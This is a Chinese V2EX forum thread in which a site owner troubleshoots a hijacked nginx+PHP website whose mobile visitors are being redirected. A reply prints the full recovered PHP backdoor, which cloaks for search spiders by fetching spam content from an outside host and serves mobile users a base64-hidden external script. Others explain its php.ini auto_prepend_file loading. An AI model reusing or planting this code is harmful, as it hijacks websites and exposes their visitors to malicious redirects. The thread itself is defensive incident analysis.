网站被劫持了请教下大佬如何解决

2023-10-08 17:44:26 +08:00
 dai269619118

原本的地址是: www.xxx.com/xxx 打开都是正常的

劫持的域名是: www.xxx.com/xxx?gLN3Nf=.xlsakd3E20230731 多了这段参数

在移动端,劫持的这段域名打开会跳转他其他网站上,检查了服务器的代码 对应代码直接 exit

应该是 dns 那边出现了问题

试了下移动和电信网络 全都会被跳转

大佬们这个应该怎么处理?

3990 次点击
所在节点    程序员
41 条回复
dai269619118
2023-10-08 18:29:07 +08:00
@yumusb nginx+php 这种组合 中间也没有其他什么服务
dai269619118
2023-10-08 18:34:58 +08:00
@proxytoworld 用爬虫抓了下页面 所有页面的头部都被注入了莫名其妙的<a>标签
yumusb
2023-10-08 18:39:26 +08:00
@dai269619118 nginx php 篡改都能做到这个效果
dai269619118
2023-10-08 18:47:18 +08:00
@yumusb 老哥 应该是你说的这个问题 在 nginx 上我屏蔽了这个地址 异常的那个 url 打不开了
这种一般要怎么检查 老哥麻烦提供点接下来处理的思路
yumusb
2023-10-08 18:48:33 +08:00
@dai269619118 发个联系方式 来个权限可以帮你查查看
7inFen
2023-10-08 18:51:00 +08:00
上 cloudflare
dai269619118
2023-10-08 18:52:58 +08:00
@yumusb 感谢老哥 微信: anV3ZW41NTU=
yarawen
2023-10-08 19:14:29 +08:00
……在公司电脑上不小心打开了黄网,要是被监控发现被通告
我哭死你
yumusb
2023-10-08 21:53:15 +08:00
<?php
set_time_limit(0);
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
$a = "stristr";
$b = $_SERVER;
function httpGetlai($c)
{
$d = curl_init();
curl_setopt($d, CURLOPT_URL, $c);
curl_setopt($d, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');
curl_setopt($d, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($d, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($d, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($d, CURLOPT_HEADER, 0);
$e = curl_exec($d);
curl_close($d);
return $e;
}
define('url', $b['REQUEST_URI']);
define('ref', !isset($b['HTTP_REFERER']) ? '' : $b['HTTP_REFERER']);
define('ent', $b['HTTP_USER_AGENT']);
define('site', "http://sid.hj6j.com/utf8/?");
define('road', "app?domain=" . $b['HTTP_HOST'] . "&path=" . url . "&spider=" . urlencode(ent));
define('memes', road . "&referer=" . urlencode(ref));
define('regs', '@BaiduSpider|Sogou|Yisou|Haosou|360Spider@i');
define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/');
define('area', $a(url, ".xml") or $a(url, ".fdc") or $a(url, ".one") or $a(url, ".bug") or $a(url, ".doc") or $a(url, ".love") or $a(url, ".txt") or $a(url, ".ppt") or $a(url, ".pptx") or $a(url, ".xls") or $a(url, ".csv") or $a(url, ".shtml") or $a(url, ".znb") or $a(url, ".msl") or $a(url, ".mdb") or $a(url, ".hxc"));
if (preg_match(regs, ent)) {
if (area) {
echo httpGetlai(site . road);
exit;
} else {
echo httpGetlai("http://sid.hj6j.com/utf8/u.php");
}
}
if (area && preg_match(mobile, ent)) {
echo base64_decode('PHNjcmlwdCBzcmM9aHR0cHM6Ly8wc3VnYXJhZGRlZC5jb20vc2ouanM+PC9zY3JpcHQ+');
exit;
}
LykorisR
2023-10-08 22:28:31 +08:00
首先,你上没上 HTTPS ?上了的话排除 DNS 劫持,没上就上上。如果不是 DNS 劫持的话,看你 nginx 配置有无被篡改,没有的话就看 php ,还没有那就是前端引用的 js 出问题了,检查引用的外部 cdn 的 js 吧
edgeuser
2023-10-08 22:47:26 +08:00
@yumusb 这代码是从拿提出来的
lmaq
2023-10-08 23:15:43 +08:00
服务器停掉在访问试试,有可能是服务器中毒了
yumusb
2023-10-09 00:21:50 +08:00
详见:一次排查网站劫持过程流水账 https://zhufan.net/2023/10/08/%E4%B8%80%E6%AC%A1%E6%8E%92%E6%9F%A5%E7%BD%91%E7%AB%99%E5%8A%AB%E6%8C%81%E8%BF%87%E7%A8%8B%E6%B5%81%E6%B0%B4%E8%B4%A6/ 觉得有用点个感谢,回回发帖消耗的铜币 🐕
hawei
2023-10-09 00:41:45 +08:00
@yumusb 草 这真的太帅了,做安全的大佬?
leimao
2023-10-09 01:22:49 +08:00
YYF: ?
dong568789
2023-10-09 09:11:00 +08:00
在入口断点没用的话,多半是生成了静态 html 了吧
zzzmh
2023-10-09 11:05:36 +08:00
@yumusb 怎么做到的?
ahait
2023-10-09 11:08:15 +08:00
@yumusb 老哥很强,这种劫持方式还是第一次见:在 php.ini 中有两个配置参数,auto_prepend_file 和 auto_append_file ,其作用相当于 php 代码 require 或 include ,使用这两个指令包含的文件如果该文件不存在,将产生一个警告。

auto_prepend_file 表示在 php 程序加载应用程序前加载指定的 php 文件

auto_append_file 表示在 php 代码执行完毕后加载指定的 php 文件
ahait
2023-10-09 11:12:44 +08:00
@ahait 应该是批量抓鸡,ioc 搜索引擎一查发现很多网站都被干了,估计是黑产团伙作案,入侵点没找到,估计明天还会继续劫持,建议楼主再往下深入查下,找到具体入侵点( web 漏洞、ssh 弱口令等等)
starinmars
2023-10-09 11:54:12 +08:00
下次提前说下这个网站是干什么的! 在公司大屏屏幕打开,差点升天🤣

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/979950

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX